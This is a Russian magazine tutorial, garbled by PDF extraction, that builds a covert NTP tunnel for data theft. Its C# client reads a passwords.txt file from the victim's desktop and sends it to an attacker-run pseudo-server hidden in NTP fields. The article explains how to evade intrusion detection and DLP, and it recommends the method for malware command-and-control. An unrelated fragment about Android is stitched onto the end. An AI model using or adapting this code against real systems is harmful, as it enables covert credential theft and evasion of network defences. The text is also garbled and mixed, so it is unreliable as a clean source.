Нас инте ресу ет вер сия 3, как доволь но рас простра нен ная и прос тая, хотя ты
сво бод но можешь поль зовать ся вер сией 4, она поч ти не отли чает ся.
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Для прож женных прог раммис тов на C есть псев докод:

public struct NtpPacket
{
 public byte First8bits; // 2 бита — индикатор секунды коррекции (

Leap Indicator, LI)
                         // 3 бита — версия протокола (Version 
Number, VN)
                         // 3 бита — режим работы (Mode)
 public byte Stratum;    // Stratum — расстояние до корневого 

сервера по иерархии
 public byte Poll;       // Насколько часто можно спрашивать сервер
 public byte Precision;  // Точность системных часов
 public uint RootDelay;  // Задержка сервера относительно главного 

источника времени
 public uint RootDisp;   // Разброс показаний часов сервера
 public uint RefID;      // ID часов
 public ulong Reference; // Последние показания часов на сервере
 public ulong Originate; // Правильное время отправки пакета 

клиентом (заполняет сервер)
 public ulong Receive;   // Время получения пакета сервером
 public ulong Transmit;  // Время отправки пакета с сервера клиенту

}

Те перь нем ного о наз начении этих полей.
  (LI), 2 бита — чис ло, пре дуп режда ющее о секун де  коор‐ 

динации. Может  быть  от  0  до  3,  где  0 —  нет  кор рекции,  1 —  пос ледняя
минута дня содер жит 61 с, 2 — пос ледняя минута дня содер жит 59 с, 3 —
неис прав ность  сер вера.  При  зна чении  3  получен ным  дан ным  доверять
не сле дует. Вмес то это го нуж но обра тить ся к дру гому сер веру. Наш псев‐ 
досер вер будет всег да воз вра щать 0.

• Leap indicator

  (VN), 2 бита — номер вер сии про токо ла NTP (1–4). Мы
пос тавим туда 3.

• Version number

 — режим работы отпра вите ля пакета. Зна чение от 0 до 7, где 3 —
кли ент, а 4 — сер вер.

• Mode

 —  сколь ко  пос редни ков  меж ду  кли ентом  и  эта лон ными  часами
(вклю чая  сам  NTP‐сер вер).  1 —  сер вер  берет  дан ные  непос редс твен но
с  атом ных  (или  дру гих  точ ных)  часов,  то  есть  меж ду  кли ентом  и  часами
толь ко один пос редник (сам сер вер); 2 — сер вер берет дан ные с сер вера
со зна чени ем Stratum 1 и так далее.

• Stratum

  —  целое  чис ло,  зада ющее  интервал  в  секун дах  меж ду  пос ледова‐ 
тель ными обра щени ями. Кли ент может ука зать здесь интервал, с которым
он хочет отправ лять зап росы на сер вер, а сер вер — интервал, с которым
он раз реша ет, что бы его опра шива ли.

• Poll

 (точ ность) — чис ло, которое сооб щает точ ность локаль ных сис‐ 
темных часов. Зна чение рав но дво ично му логариф му секунд.

• Precision

  (задер жка сер вера) — вре мя,  за  которое показа ния эта лон‐ 
ных  часов  доходят  до  сер вера  NTP.  Зада ется  как  чис ло  секунд  с  фик‐ 
сирован ной запятой.

• Root delay

 — раз брос показа ний сер вера.• Root dispersion

  (иден тифика тор  источни ка)  —  ID  часов.  Если  поле  Stratum  рав но
еди нице,  то  RefID  —  имя  атом ных  часов  (четыре  сим вола  ASCII).  Если
текущий  сер вер  NTP  исполь зует  показа ния  дру гого  сер вера,  то  в  RefID
записан IP‐адрес это го сер вера.

• RefID

 — пос ледние показа ния часов сер вера.• Reference

 — вре мя, ког да пакет был отправ лен, по вер сии сер вера.• Originate

 — вре мя получе ния зап роса сер вером.• Receive

 —  вре мя отправ ки  отве та  сер вера  кли енту,  которое  запол няет
кли ент.

• Transmit

Ил люс тра ция из Wikipedia

В  целом  про цесс  край не  прост  и  понятен,  если  изу чить  кар тинку.  Кли ент
посыла ет  зап рос  на  сер вер,  запоми ная,  ког да  этот  зап рос  был  отправ лен.
Сер вер  при нима ет  пакет,  запоми нает  и  записы вает  в  пакет  вре мя  при ема,
запол няет  вре мя отправ ки и отве чает  кли енту. Кли ент  запоми нает,  ког да он
получил  ответ,  и  получа ет  неч то  вро де  RTT  (Round‐Trip  Time,  в  прос‐ 
тонародье  —  пинг)  до  сер вера.  Даль ше  он  опре деля ет,  сколь ко  вре мени
понадо билось  пакету,  что бы  дой ти  от  сер вера  обратно  ему  (вре мя  меж ду
зап росом  и  отве том  кли ента  минус  вре мя  обра бот ки  пакета  на  сер вере,
делен ное на два).

Что бы  получить  текущее  вре мя,  нуж но  при бавить  получен ную  задер жку
канала к вре мени отправ ки отве та сер вером. Вот толь ко UDP на то и UDP, что
задер жки могут быть слу чай ные и неп ред ска зуемые, так что замеры пов торя‐ 
ются  по  мно гу  раз  в  день,  вычис ляет ся  сред няя  ошиб ка,  и  локаль ные  часы
кор ректи руют ся.

ОГРАНИЧЕНИЯ НА ТРАФИК ПО ПОРТУ UDP-123
Сис темы обна руже ния втор жений не такие глу пые, какими могут показать ся,
так что прос то пус тить тра фик, нап ример, OpenVPN по 123‐му пор ту UDP мы
не смо жем, по край ней мере без рис ка спа лить ся. Соот ветс твие RFC все же
про веря ется. Это мож но пос мотреть на при мере Wireshark.

Один из NTP‐пакетов, пой ман ных Wireshark

При дет ся  нам  зас тавить  наши  пакеты  соот ветс тво вать  RFC.  Про ще  все го
это  сде лать,  наз начая  некото рые  поля  по  сво ему  усмотре нию.  Мы  можем
внед рить  свои дан ные  в  поля   и  .  Пос леднее  не  впол не
соот ветс тву ет RFC, но так глу боко про вер ки обыч но не добира ются.

Transmit Originate

КОНЦЕПТ
Идея прос та: мы сос тавля ем собс твен ный  «заряжен ный»  пакет NTP и  пыта‐ 
емся син хро низи ровать вре мя со сво им сер вером. Что бы не прив лекать лиш‐ 
него  вни мания  к  сво ей  переда че,  на  каж дый  зап рос  дол жен  отправ лять ся
внеш не валид ный ответ, в котором могут быть инс трук ции для кли ента (читай:
бота).

Что бы вся кие там сис темы пре дот вра щения уте чек (DLP) не мешали нам,
мож но,  нап ример,  пок сорить  наши  дан ные  со  ста тичес ким  клю чом.  Естес‐ 
твен но, в рам ках PoC я не буду это го делать, но в качес тве прос тей шего спо‐ 
соба сок рытия дан ных дол жно сра ботать.

Для переда чи дан ных с кли ента на сер вер под ходят поля  , 
и  .  Из  них    при годен  огра ничен но,  но  мы  на  этом  оста нав‐ 
ливать ся  не  будем.  Если  ты  задума ешь  учесть  его  огра ниче ние,  то  имей
в виду, что исполь зовать в этом поле мож но толь ко млад шие три бита (как я
понял  из  докумен тации).  Без  уче та  это го  мы  можем  исполь зовать  17  байт
из 48 (35% все го объ ема пакета) на отправ ку дан ных, что уже неп лохо.

Poll Originate
Transmit Poll

А  что  на  при ем?  Сер вер  запол няет  поля  ,  , 
,  ,  ,   и, огра ничен но,  . На ответ сер‐ 

вера  в  этом  поле  рас простра няют ся  такие  же  огра ниче ния,  как  на  кли ента.
Ито го  име ем  29  (28  без  )  байт  из  48  (60%  пакета).  Полез ный  объ ем
пакета — 46 из 48 байт (96%). Оставши еся два бай та — фла ги и заголов ки,
которые мы менять не можем без вре да для скрыт ности.

Precision Root  delay Root 
dispersion Reference RefID Receive Poll

Poll

РЕАЛИЗАЦИЯ
Пи сать код и дебажить наше тво рение мы будем в  . Я исполь зую
вер сию 2019 Community, бла го она бес плат ная, а ска чать ее мож но с сай та
Microsoft.

Visual Studio

Продолжение статьи →

mailto:hackcat.dev@gmail.com
http://ozpp.ru/zknd/ugol/ugol_2816.html
https://ru.wikipedia.org/wiki/NTP
https://tools.ietf.org/html/rfc958
https://tools.ietf.org/html/rfc1119
https://tools.ietf.org/html/rfc1305
https://tools.ietf.org/html/rfc5905
https://visualstudio.microsoft.com/ru/


ТУННЕЛЬ ВО ВРЕМЕНИ
ВЫВОДИМ ДАННЫЕ С КОМПЬЮТЕРА ЧЕРЕЗ

NETWORK TIME PROTOCOL

КОДИНГ  НАЧАЛО СТАТЬИ←

Сер вер
Как  толь ко  IDE  уста нов лена,  вклю чена  тем ная  тема  и  любимый  плей‐лист,
мож но прис тупать. Для начала соз дадим новый про ект типа «кон соль ное при‐ 
ложе ние» (мы ведь не пря чем ся от юзе ра) с наз вани ем  .NtpTun_SERVER

Соз дание про екта

Те перь нам нуж на  струк тура,  опи сыва ющая пакет. Обра тив шись  к  спе цифи‐ 
кации NTP, напишем прос той класс. В нем так же дол жны быть методы упа ков‐ 
ки  пакета  в  мас сив  бай тов,  при год ный  для  переда чи  нас тояще му  сер веру
и для рас паков ки при шед шего отве та из мас сива бай тов обратно в пакет.

WWW

Весь  код,  исполь зуемый  в  статье,  есть  в 
. Он намерен но под порчен

и для про мыш ленно го исполь зования не годит ся,
но для демонс тра ции работы впол не сой дет.

мо ем
репози тории на GitHub

Объ явля ем струк туру пакета. Не смот ри на стран ные суф фиксы в наз ‐
вани ях фун кций, так задума но

Уже  из  это го  кода  вид но,  что  мы  будем  прит ворять ся  сер вером  Stratum  3.
Если бы мы были Stratum 1, то нуж но было бы в поле   ука зывать ID атом‐ 
ных  часов,  которых  у  нас  нет.  А  спи сок  сер веров  пер вого  уров ня  обще‐ 
известен,  и,  если  IP  нашего  псев досер вера  не  ока жет ся  в  таких  пуб личных
спис ках, обман быс тро будет рас крыт.

RefID

Stratum 2 не сле дует исполь зовать, потому что тог да   дол жен был бы
содер жать  IP  сер вера  пер вого  уров ня,  спи сок  которых  опять  же  известен.
А вот тре тий уро вень поз воля ет ука зывать в   IP сер вера вто рого уров ня,
пол ного  спис ка  которых  нет.  То  есть  мы  смо жем  в    переда вать
еще четыре бай та про изволь ных дан ных.

RefID

RefID
RefID

Код методов упа ков ки и рас паков ки на скрин шот не помес тился, к тому же
нам надо разоб рать его отдель но. Вот он:

public NtpPacket Parse(byte[] data)
{
 var r = new NtpPacket();
 // NTP packet is 48 bytes long
 r.First8bits = data[0];
 r.Poll = data[2];
 r.Precision = data[3];
 r.RootDelay = BitConverter.ToUInt32(data, 4);
 r.RootDisp = BitConverter.ToUInt32(data, 8);
 r.RefID = BitConverter.ToUInt32(data, 12);
 r.Reference = BitConverter.ToUInt64(data, 16);
 r.Originate = BitConverter.ToUInt64(data, 24);
 r.Receive = BitConverter.ToUInt64(data, 32);
 r.Transmit = BitConverter.ToUInt64(data, 40);
 return r;

}

Тут никаких слож ностей: при нима ем мас сив бай тов и при помощи BitConvert‐
er получа ем отту да дан ные.

public InPacket GetBuiltInPacketC(byte[] packet)
{
 InPacket _packet = new InPacket();
 NtpPacket ntpPacket = this.Parse(packet);
 _packet.PacketID = 0;
 _packet.Data = new byte[17];
 _packet.Data[0] = ntpPacket.Poll;
 BitConverter.GetBytes(ntpPacket.Originate).CopyTo(_packet.Data, 1);
 BitConverter.GetBytes(ntpPacket.Transmit).CopyTo(_packet.Data, 9);
 return _packet;

}

Струк тура   опи сыва ет пакет, инкапсу лиро ван ный в сооб щение NTP.
У него есть ID и полез ные дан ные. ID нужен, что бы сер вер мог отчи тать ся, что
получил пакет, и что бы кли ент мог его перес лать в слу чае ошиб ки дос тавки.
Кро ме  того,  не  забыва ем,  что  в  качес тве  тран спор та  мы  исполь зуем  UDP,
поэто му не исклю чены потери и дос тавка не в том поряд ке, в котором пакеты
были отправ лены.

InPacket

public NtpPacket EmbedDataToPacketS(byte[] data)
{
 var nd = new byte[30]; //Max 30 bytes of data in response
 data.CopyTo(nd, 0);
 data = nd;
 NtpPacket result = new NtpPacket();
 result.First8bits = 0x1B;
 result.Poll = data[0];
 result.Precision = data[1];
 result.RootDelay = BitConverter.ToUInt32(data, 2);
 result.RootDisp = BitConverter.ToUInt32(data, 6);
 result.RefID = BitConverter.ToUInt32(data, 10);
 result.Reference = BitConverter.ToUInt64(data, 14);
 result.Receive = BitConverter.ToUInt64(data, 22);
 return result;

}

В этом коде мы видим внед рение дан ных в пакет. Стро ка 
 нуж на для того, что бы фун кция кор рек тно отра бота ла, даже если передать

ей  не  ров но  30  байт,  а  мень ше.  Даль ше  мы  видим  стан дар тную  сбор ку
пакета.

data.CopyTo(nd, 
0)

Те бя,  воз можно,  заин тересо вали  эти  стран ные  суф фиксы  в  наз вани ях
фун кций. Я добавил их, что бы в коде мож но было визу аль но раз личить фун‐ 
кции кли ента и сер вера. Суф фикс   озна чает, что пакет был соб ран кли ентом,
а   — сер вером.

C
S
Сер вер дол жен уметь толь ко рас паковать дан ные, внед ренные кли ентом,

и  соб рать  свой  пакет  с  отве том.  А  кли ент  дол жен  уметь  закинуть  дан ные
в пакет в свои поля и рас парсить ответ сер вера. Таким обра зом,  у сер вера
будет одна копия это го фай ла (со сво ими фун кци ями), а у кли ента дру гая.

public byte[] BuildPacket()
{
 byte[] arr = new byte[48];
 arr[0] = First8bits;
 arr[1] = Stratum;
 arr[2] = Poll;
 arr[3] = Precision;
 BitConverter.GetBytes(RootDelay).CopyTo(arr, 4);
 BitConverter.GetBytes(RefID).CopyTo(arr, 8);
 BitConverter.GetBytes(Reference).CopyTo(arr, 12);
 BitConverter.GetBytes(Originate).CopyTo(arr, 20);
 BitConverter.GetBytes(Receive).CopyTo(arr, 28);
 BitConverter.GetBytes(Transmit).CopyTo(arr, 36);
 return arr;

}

Наз вание  пос ледней  фун кции  говорит  само  за  себя.  Она  собира ет  пакет
в мас сив бай тов для отправ ки. Струк тура пакета кли ента и сер вера оди нако‐ 
ва, что сни мает некото рые слож ности при сбор ке пакетов на кли енте и сер‐ 
вере.  Но  раз ница  все‐таки  есть,  ведь  один  из  битов  заголов ка  ука зыва ет
на  режим  (кли ент/сер вер),  и  для  боль шей  скрыт ности  не  сле дует  об  этом
забывать.

Сле дующая проб лема, с которой я стол кнул ся при реали зации PoC, сос‐ 
тоит в том, что сокеты UDP в C# исклю читель но одно нап равлен ные. Поэто му
вста ла  задача  сде лать  сокет  дву нап равлен ным.  Реша ется  это  прос тым  кос‐ 
тылем:  мы  дела ем    сокета  на  одном  пор те  и  уста нав лива ем  для  обо их
флаг   в  . При желании это мож но завер нуть в один класс,
но  я  делать  это го  не  стал,  пос коль ку  луч ший  код —  это  код,  который  ник то
не понима ет.

два
ReuseAddress true

В сер вере даль ше объ яснять нечего, если у тебя воз никнут какие‐то воп‐ 
росы — не стес няй ся задавать их в ком мента риях.

При  запус ке  наш  псев досер вер  спро сит,  на  каком  интерфей се  слу шать
и  какой  порт  исполь зовать.  Пос ле  это го  появит ся штат ный  зап рос Windows
Firewall, в котором тебе надо будет пре дос тавить дос туп нашему при ложе нию.
Все, теперь PoC будет запущен и готов к при нятию соеди нения.

Зап рос от Windows Firewall. Наж ми Allow access

Сер вер запущен

Кли ент
Сер вер готов, дело за кли ентом. Давай сра зу догово рим ся, что наша цель —
орга низо вать  переда чу  дан ных  толь ко  от  кли ента  к  сер веру.  Отве ты  нас
не инте ресу ют,  так как мы не инте рак тивный шелл дела ем, а прос то кра дем
содер жимое фай ла  , лежаще го на рабочем сто ле юзе ра.passwords.txt

Это  зна чит,  что  ого ворен ный  выше  кос тыль  в  виде  двух  сокетов  UDP
на одном пор те нам не понадо бит ся. Если у тебя будет желание повозить ся
с  этим  —  один  из  вари антов  реали зации  я  пред ложил.  Дру гой  сос тоит
в отправ ке пакетов UDP не из сокета, а через PcapNet, что, прав да, тре бует
уста нов ки драй вера на кли ент ской машине. Сей час для нас это не проб лема,
пос коль ку мы тес тиру ем все толь ко на сво их машинах, но для пен тестов этот
спо соб явно не годит ся.

Ли ричес кое отступ ление закон чено,  теперь  кодим. Соз давай новый про‐ 
ект, я наз вал его  . Кра сивую псев догра фику в кон соли, со все‐ 
ми приг лашени ями, ты, думаю, и сам сде лаешь, а если не спра вишь ся — заг‐ 
ляни в мой репози торий, там есть мой вари ант кли ента.

NtpTun_Client

Сра зу  пред лагаю  обра тить  вни мание  на  отли чия  меж ду  клас сами 
  на сер вере и  кли енте. Кли ент паку ет дан ные в  свои поля  (напом ню,

это  ,    и  ),  а  сер вер  —  в  свои  ( , 
,  ,  ,  ,  ). И не забудь про флаг

в поле    (кли ент/сер вер), а то у Wireshark и дру гих средств ана лиза воз‐ 
никнут спра вед ливые воп росы. Если тебе лень читать докумен тацию, то зна‐ 
чение пер вого бай та пакета у кли ента дол жно быть  , а у сер вера —  .
Реали зацию    и    при вожу  тут,
за осталь ным опять же отсы лаю на  .

Ntp‐
Client

Poll Originate Transmit Precision Root 
delay Root dispersion Reference RefID Receive

Mode

0x1B 0x1C
EmbedDataToPacketC GetBuiltInPacketS

мой гит хаб
Ал горитм  дей ствий  кли ента  прост,  но  в  то  же  вре мя  тре бует  некото рых

разъ ясне ний.
Сна чала  необ ходимо  получить  при ват ные  дан ные.  Я  не  буду  изоб ретать

велоси пед,  так  что  пусть  это  будет  содер жимое  фай ла 
с рабоче го сто ла юзе ра. И не говори, что не поль зовал ся таким «пароль ным
менед жером»!

passwords.txt

String path = Path.Combine(Environment.GetFolderPath(Environment.
SpecialFolder.Desktop), "passwords.txt");
String contents = File.ReadAllText(path);

INFO

Этот  код  заод но  демонс три рует  пра виль ную
работу с путями. Скла дывать их как стро ки — дур‐ 
ной  тон,  и  такой  код  пло хо  перено сит ся. 

 — наш выбор!
Path.

Combine

Да лее в коде ты можешь уви деть стран ную строч ку:

contents += "TRANSFER COMPLETE";

Ее суть зак люча ется в том, что отпра вить лиш ний пакет нам не жал ко, а если
файл,  который мы  отправ ляем,  был  пус тым  или мень ше  17  байт  дли ной,  то
сле дующий пункт нашего алго рит ма не выпол нится. Поэто му мы пред полага‐ 
ем  худ ший  вари ант  раз вития  событий  и  добав ляем  «хвост»,  что бы  гаран‐ 
тирован но отпра вить хотя бы один пакет.

Сле дующий  финт  уша ми  —  раз бива ем  дан ные  на  бло ки  по  17  байт.  Я
не при думал ничего луч ше, чем завес ти спи сок бай товых мас сивов и добав‐ 
лять в мас сив бай ты по одно му в цик ле.

int ctr = 0;
List<byte[]> pcs = new List<byte[]>();
int BYTE_CNT = 17;
byte[] current = new byte[BYTE_CNT];
foreach (var cb in Encoding.ASCII.GetBytes(contents))
{
 if (ctr == BYTE_CNT)
 {
   // BYTE_CNT bytes added, start new iteration
   byte[] bf = new byte[BYTE_CNT];
   current.CopyTo(bf, 0);
   pcs.Add(bf);
   String deb = Encoding.ASCII.GetString(bf);
   ctr = 0;
   for (int i = 0; i < BYTE_CNT; i++) current[i] = 0x0;
 }
 if (cb == '\n' || cb == '\r')
 {
   current[ctr] = Encoding.ASCII.GetBytes("_")[0];
 }
 else current[ctr] = cb;
 ctr++;

}

Пе ремен ная   нуж на на слу чай, если ты решишь паковать не по 17, а,
нап ример, по 11 байт.

BYTE_CNT

Вот все и  готово. Фасу ем наши бло ки дан ных по   пакетам NTP
и отправ ляем. Даль ше про исхо дит задер жка (я взял 200 мс, мож но мень ше),
что бы  дан ные  отправ лялись  син хрон но  и  в  том же  поряд ке,  в  каком  пакеты
пос тавле ны  в  оче редь  отправ ки.  Эта  необ ходимость  свя зана  с  внут ренним
устрой ством  клас са  :  там  исполь зует ся  асин хрон ная  отправ ка.
Таким  обра зом,  задер жка  поз воля ет  поч ти  гаран тировать,  что  отправ ка
выпол нится в нуж ном поряд ке.

па кети кам

UDPSocket

Ре али зация это го чуда инже нер ной мыс ли находит ся в фай ле 
про екта  , най ти который ты можешь все в том же репози тории.

Program.cs
NtpTun_CLIENT

Для  удобс тва  исполь зования  и  отладки  кли ент  так же  выводит  некото рое
количес тво  вспо мога тель ных  дан ных,  таких  как  ско рость  отправ ки  пакетов.
Она учи тыва ет упо мяну тую выше задер жку, так что ско рость выходит доволь‐ 
но  неболь шая.  Бен чмарк  (смот ри  раз дел  о  про изво дитель нос ти  ниже)
не  добав ляет  задер жку,  что  поз воля ет  зна читель но  уве личить  про пус кную
спо соб ность тун неля.

Выг лядит финаль ный резуль тат как на скрин шотах.

Кли ент работа ет

Сер вер — тоже

Кли ент на Powershell
В теории ник то не меша ет нам сде лать то же самое в виде скрип та на Power‐
shell, что бы не тас кать с собой при лич ного раз мера бинар ник. «Пошик» есть
на  всех  машинах  с Windows  7  и  выше,  если  его  не  выковы ряли  из  сис темы
руками. Получа ется,  что мы име ем воз можность  запус тить наш скрипт даже
без  фай ла.  Я  не  мас тер  Powershell,  но,  если  ты  в  нем  раз бира ешь ся,  поп‐ 
робуй и не забудь поделить ся резуль татами в ком мента риях.

ТЕСТИРОВАНИЕ С WIRESHARK
Wireshark  содер жит  встро енные  средс тва  раз бора  пакетов  мно жес тва  про‐ 
токо лов. В этом спис ке есть и NTP. Это зна чит, что мы можем ана лизи ровать
наши пакеты на соот ветс твие RFC без нап ряжения моз говых изви лин. Если ты
не хочешь возить ся с вир туал ками, мож но пос тавить 

, иду щий в ком плек те с Nmap. Он поз воля ет Wireshark ловить локаль ный
тра фик.

Npcap Loopback Adapder
Driver

Wireshark не замеча ет под воха, но переда ваемые дан ные вид ны в тра ‐
фике нево ору жен ным гла зом

Дан ные  в  PoC  переда ются  толь ко  в  одну  сто рону,  поэто му  пол ноцен ного
обме на  пакета ми  ты  здесь  не  уви дишь.  Глав ное —  что  наши  пакеты  опоз‐ 
нают ся  как  впол не  обык новен ные  и  не  вызыва ют  оши бок  при  про вер ке
на соот ветс твие RFC.

О ПРОИЗВОДИТЕЛЬНОСТИ И СКРЫТНОСТИ
Как у нас дела со ско ростью переда чи дан ных? Бли жай ший родс твен ник это‐ 
го  метода  —  DNS‐тун нелиро вание    сим метрич ную  ско рость
до  10  Кбайт/с  и  асим метрич ную  5  Кбайт/с  на  при ем  и  до  13 —  на  отда чу.
Свой  метод  я  про тес тировал  и  получил  на  порядок  луч шие  резуль таты,  что
меня, конеч но, силь но обра дова ло.

по казы вает

Ра дует и то, что за опти миза цию кли ента я пока даже не брал ся, так что эти
резуль таты  навер няка  улуч шатся.  На  скрин шоте  ниже  показа тели  ско рос ти
отоб ража ют полез ную наг рузку, а не пол ную. То есть 83 Кбайт/с на отда чу —
это  83  Кбайт/с  полез ных  дан ных,  а  пол ная  заг рузка  будет  нес коль ко  выше
(прог рамма прос то ее не отоб ража ет).

Ре зуль таты тес тирова ния про изво дитель нос ти

Что  каса ется  скрыт ности,  то  все  на  выс шем  уров не.  Даже  DNS‐тун нель
еще  не  все  защит ные  средс тва  научи лись  находить,  а  наши  «заряжен ные»
пакеты запалить еще слож нее.

В срав нении с DNS
Раз уж мы вспом нили про тун нелиро вание через DNS, то давай раз берем ся,
почему защита от него не сра бота ет про тив NTP. Даже если пус тить этот тра‐ 
фик по 53‐му пор ту UDP, мы не вый дем за «нор маль ную» дли ну пакета, а про‐ 
вер ка на наличие строк (нап ример, фай рвол взду мает искать там зап рещен‐ 
ные сло ва типа  ,  ,  ) не покажет ничего.cmd bash UserPassword:

Это в DNS под домен дол жен быть стро кой. А у нас бинар ный про токол, так
что  сра зу  появ ляет ся  куча  воз можнос тей  сок рытия  инте рес ных  дан ных.
Это  может  быть  баналь ный  XOR,  может  быть  AES,  RC4  и  еще  мно го  чего.
А  если  сде лать  гиб рид  (нап ример,  получать  клю чи  шиф рования  по  DNS
и шиф ровать ими дан ные в NTP), то у нас будет дешевый и надеж ный спо соб
переда чи дан ных из доверен ной сети.

В общем, в сов ремен ных реалиях всерь ез рас сле довать паразит ную наг рузку
на канал в раз мере нес коль ких сотен килобит в секун ду даже не инте рес но,
так что, даже если и будут замече ны ано малии в количес тве пакетов NTP, это,
ско рее все го, спи шут на ошиб ку.

ПРИМЕНЕНИЕ
Опи сан ный мной метод может  при менять ся  как  в  тес тах  на  про ник новение,
так и вирусо писа теля ми. Если не оста ется дру гих спо собов общать ся с сер‐ 
вером C&C,  то  это  на  дан ный  момент  иде аль ное  решение. Мож но  соз дать
пуб личный  сер вер NTP,  что бы  он  отда вал  «нор маль ное»  вре мя  всем,  кро ме
нес коль ких десят ков  IP‐адре сов, с  которы ми будет общать ся по  такому  тун‐ 
нелю. Такой сер вер ник то не запалит извне, пос коль ку про вер ка покажет пол‐ 
ное соот ветс твие стан дарту. Глав ное — не забывай, что за все свои дей ствия
несешь ответс твен ность толь ко ты.

WARNING

Иг ры с сетевы ми пакета ми могут при вес ти к неп‐ 
рият ностям  с  тво им  про вай дером.  Думай,  с  чем
ты выходишь в «боль шой» интернет.

ВЫВОДЫ
Се год ня мы  узна ли  еще  один  спо соб  вывес ти  укра ден ные  дан ные  с  компь‐ 
юте ра,  и  о  сущес тво вании  защит ных  мер  от  него  мне  ничего  не  извес тно.
Единс твен ное  решение  —  пол ностью  зап ретить  NTP  в  сети  и  выс тавлять
часы, набирая 100 на телефо не. Так же я уве рен, что эта тех ника ско ро най дет
широкое при мене ние в раз ного рода бот нетах, стил лерах, бэк дорах и про чих
вре доно сах.

https://github.com/HackcatDev/XakepNtpTun
https://github.com/HackcatDev/XakepNtpTun
https://nmap.org/npcap/
https://habr.com/ru/company/fbk_cs/blog/432078/
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На вер ное,  все  поль зовате ли  и  раз работ‐ 
чики уже замети ли, в какую сто рону дви жет‐ 
ся  раз витие  Android.  При сущие  ОС  откры‐ 
тость  и  широкие  воз можнос ти  мед ленно
исче зают,  а  спи сок  зап ретов  пос тоян но
попол няет ся.  Может  показать ся,  что  при‐ 
чина  тому  —  воз раста ющие  тре бова ния
безопас ности, но если разоб рать ся в ситу‐ 
ации,  то  все  ока зыва ется  нес коль ко  слож‐ 
нее.

ЗАКАТ ANDROID
Ска жу  чес тно:  я  всег да  с  теп лотой  отзы вал ся  об  Android  и  поч ти  всег да
перехо дил  на  сто рону  ее  раз работ чиков  в  спо рах  «у  вас  там  все  тор мозит
и течет». Нес мотря на мно жес тво тех ничес ких проб лем, став ших следс тви ем
ори енти рован ности ОС на  устрой ства  типа BlackBerry  и  спеш ки с  выпус ком
ОС,  в  целом  Android  был  дей стви тель но  гра мот но  спро екти рован ной  сис‐ 
темой с мас сой инте рес ных тех ничес ких решений, впос ледс твии поза имс тво‐ 
ван ных Apple.

Прос то вду май ся: самая ран няя вер сия ОС уже вклю чала в себя изо лиро‐ 
ван ные песоч ницы для запус ка при ложе ний, обще сис темный IPC для переда‐ 
чи дан ных меж ду при ложе ниями и вызова их фун кций, гра нуляр ный кон троль
пол номочий, реали зован ный в еди ном ком понен те, регис тро вую вир туаль ную
машину  в  про тиво вес  пожира ющей  память  сте ковой  вир туаль ной  машине
Java, модуль ную сис тему син хро низа ции с раз личны ми сетевы ми сер висами
(в том чис ле сто рон ними).

Пер вая вер сия Android из короб ки име ла все средс тва для соз дания слож‐ 
ных сис тем авто мати зации (при вет, Tasker), аль тер натив сис темным при ложе‐ 
ниям  (домаш ний  экран,  поч товый  кли ент,  СМС‐мес сен джер,  диалер,  бра‐ 
узер, кла виату ра — все это мож но заменить), при ложе ний клас са нас толь ных
(тор рент‐кли енты, HTTP/FTP‐сер веры, менед жеры фай лов, сре ды раз работ‐ 
ки, при ложе ния для син хро низа ции дан ных).

Android  был  опе раци онной  сис темой,  соз данной  гиками  для  гиков,  где
поль зователь сам кон тро лиро вал ОС и сам отве чал за пос ледс твия, будь то
сев шая батарей ка или утеч ка дан ных с кар ты памяти потерян ного телефо на.
Смар тфон  на  Android  был  пол нофун кци ональ ным  ана логом  ноут бука,
налагав шим  на  поль зовате ля  ров но  те  же  обя затель ства  соб людения  циф‐ 
ровой гиги ены.

Но вре мена изме нились. Из игрушки для гиков смар тфо ны прев ратились
в уни вер саль ные устрой ства обме на информа цией, пла тежей и хра нения лич‐ 
ных дан ных. Сегод няшний поль зователь Android не толь ко не понима ет зна‐ 
чения  циф ровой  гиги ены,  но  и  неред ко  не  име ет  пред став ления  о  том,  что
такое при ложе ние.

С  точ ки  зре ния  здра вого  смыс ла  смар тфо ны  от  Apple  для  такого  поль‐ 
зовате ля  пред почти тель нее.  Боль шая  ком пания,  соб равшая  в  сво их  сте нах
луч шие умы пла неты, гораз до надеж нее, чем сам поль зователь, позабо тит ся
о его дан ных,  вре мени работы от батареи и о  том,  какие при ложе ния сто ит
исполь зовать, а какие луч ше обхо дить сто роной.

Проб лема толь ко в том, что Apple — пря мой кон курент Google, а слиш ком
богатая воз можнос тями и откры тая плат форма в этой кон курен ции сос лужит
пло хую  служ бу. Боль ше  воз можнос тей — более  высокая  веро ятность  проб‐ 
лем. Хочешь уста нав ливать при ложе ния отку да угод но? Получи мал варь в наг‐ 
рузку.  Хочешь  поменять  зво нил ку?  Жди  перех вата  звон ков  и  сли ва  дан ных.
Хочешь при ложе ния клас са дес ктоп ных? Поп рощай ся с батарей кой и получи
бэк дор, который сде лает со смар тфо ном все, что будет угод но.

Ра зуме ется, бороть ся с эти ми проб лемами нуж но. Вот толь ко выб ранные
Google  спо собы  решения  проб лем  боль ше  похожи  не  на  борь бу,  а  на  зак‐ 
ручива ние гаек, прес ледова ние лич ных целей и шизоф рению.

БОРЬБА ЗА ФАЙЛЫ
Яр чай ший при мер — кар ты памяти. С ними всег да были две проб лемы:

кар та памяти может быть извле чена и встав лена в дру гое устрой ство;•
дру гое устрой ство зачас тую ничего, кро ме FAT32, не под держи вает.•

Как резуль тат, нель зя прос то так взять и раз гра ничить пра ва дос тупа к фай‐ 
лам на кар те памяти (все при ложе ния могут получить дос туп ко всем фай лам),
нель зя взять и зашиф ровать содер жимое кар ты памяти — дру гое устрой ство
не смо жет ее про читать.

Из началь но  Google  выб рала  впол не  логич ные  методы  борь бы  с  воз‐ 
можны ми  проб лемами.  Во‐пер вых,  раз работа ли  под систе му  выбороч ного
шиф рования,  которая  поз воляла  при ложе ниям  соз давать  на  кар те  памяти
зашиф рован ные  кон тей неры для  хра нения  сво их  дан ных.  Ключ шиф рования
был  уни каль ным,  поэто му  дру гие  при ложе ния  и  устрой ства  не  мог ли  про‐ 
читать  их  содер жимое.  Во‐вто рых,  в  каж дом  удоб ном  и  неудоб ном  мес те
докумен тации они пов торяли, что кар та памяти не мес то надеж ного хра нения
сен ситив ной  информа ции.  Дес кать,  фоточ ки  хра нить  еще  туда‐сюда  идея,
а вот информа цию о кре дит ках луч ше бы перенес ти в при ват ный каталог при‐ 
ложе ния.

А  вот  даль ше  в  офи сы  Google,  судя  по  все му,  завез ли  порошок  и  мозг
инже неров пошел в раз нос. Сна чала появил ся фрей мворк SAF  (Storage Ac‐
cess Framework), отдавший ОС задачу выбора фай лов на кар те памяти с воз‐ 
